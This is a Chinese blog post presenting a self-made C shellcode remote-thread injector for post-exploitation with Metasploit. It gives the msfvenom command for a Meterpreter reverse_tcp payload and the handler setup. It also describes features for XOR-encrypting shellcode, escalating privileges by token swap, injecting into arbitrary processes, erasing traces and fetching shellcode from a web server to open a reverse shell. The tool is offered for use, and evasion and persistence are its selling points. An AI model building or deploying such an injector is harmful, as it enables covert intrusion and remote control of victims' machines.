ShellCode 远程线程注入器 [首发]

使用C语言实现了一个ShellCode远程线程注入工具,其主要是用于配合Metasploit生成的攻击载荷一起使用,通常可以直接将ShellCode注入到指定的进程内存中,不会再磁盘中留下任何痕迹,注入器可以通过远程下载到,并在命令行下实现对特定进程的注入操作,在后渗透测试中可以更方便的反弹后门。

目前只支持32位ShellCode注入32位系统或用户进程中,64位暂时未经过测试,推荐32位版,并使用以下配置生成ShellCode

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.116 LPORT=9999 -f c

后端载荷推荐使用以下配置

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.1.116
set lport 9999


工具功能截图:


Show 输出进程列表: 输出当前系统中所有的进程列表,并显示出进程的位数,该工具只能注入32位进程,左侧带有+号的均可以注入shell代码。


promote强制提权: 该命令用于在权限不足的时候,更换令牌将自身提升为管理员权限,方便注入。


format 格式化shellcode: 该命令用于将文本中的shellcode代码格式化为一行,被格式化过的shellcode代码才可以执行命令行反弹。

使用msf工具生成的shellcode,需要去掉开头的描述内容,只保留shellcode代码才可被正确的格式化。


xor 异或加解密: 该命令需要提前将格式化好的shellcode放到一个文本中,在调用时,传入文本路径以及密码即可,执行第一次是加密,第二次就是解密。



xchg 字节数组转换: 该命令可以将一段压缩过的shellcode代码转换为字节数组格式,方便直接引用,其可以配合xor实现异或加密生成字节数组。

如果是加密过的文件,其实也可使使用该方法,生成加密过的shellcode代码,同样支持生成字节数组。


xor与xchg 配合实现解码shellcode: 两者配合不仅可以互相转换shellcode类型,还可以对加密过的shellcode进行解码操作。

例如我们知道一段密文shellcode,也知道密码是98,如下是一段密文。

首先保存成文件,然后异或出其明文形式。

接着将其转换为字节数组,将其保存为shell.txt文本,然后执行转换字节数组命令。


ShellCode字节数组加密: 直接传入字节数组文本,自动加密后输出为字节数组格式代码。

1.首先,我们需要准备一个文本,里面放入需要加密的字节数组。

2.执行XorArray 传入,文本路径和使用的密钥,即可加密,密钥不要大于7位数。

3.在写解码程序时,应该遵循如下格式即可。

	// 动态加密密钥计算流程
	TCHAR cCode[32] = { 0 };
	_tcscpy(cCode, StrPasswd);
	DWORD Xor_Key = 0;
	for (unsigned int x = 0; x < lstrlen(cCode); x++)
	{
		Xor_Key = Xor_Key * 4 + cCode[x];
	}

Xor_key = 生成的Key钥匙。

shell命令 注入shellcode到自身进程: 将shellcode注入到自身进程中并运行。

1.首先配置好mfs侦听器,这里不在演示如何配置。

2.客户端直接运行注入自身即可反弹。


file命令 从文件中运行shellcode: 将一句话shellcode保存为文件,需要时直接指定加载即可,如下演示。


Inject 注入进程: 该命令,可以将当前指定的shellcode注入到任意一个进程上面,非常方便。

首先需要使用show命令,找到32位程序。

然后直接输入参数实现注入,这种方式,直接注入到了目标进程中,所以可以关闭注入器。


直接运行加密后的ShellCode【新增功能】: 在执行加密shellcode时,传入一个解密密钥,自动在内存中解码并执行。

1.首先得到非加密shellcode之后,将其format格式化一下,保存为文本格式。

2.输入加密密码生成字符串,复制到新文件中。

3.传入密码,直接反弹。


delself 清理痕迹【新增功能】: 从系统中清除自身进程所有信息


xor_inject 加密字节注入【新增功能】: 直接将加密后的字节注入到远程进程中并反弹。


通过Web页面加载ShellCode【新增功能】: 从Web页面中下载shell并运行反弹。

1.首先需要自己搭建一个apache服务器,任何一个版本均可以。

2.其次通过使用format将生成的shell改为一行,并放入到服务器根目录下,具体如下。

3.客户端使用本工具的web_shell模块执行远程加载并反弹。

4.此时自己的apache日志中会有一条,访问来源,就是加载shell的。



许可协议: 文章中的代码均为学习时整理的笔记,博客中除去明确标注有参考文献的文章,其他文章【均为原创】作品,转载请务必【添加出处】,您添加出处是我创作的动力!
反制措施: 《点我预览协议》
原文地址:https://www.cnblogs.com/LyShark/p/14966502.html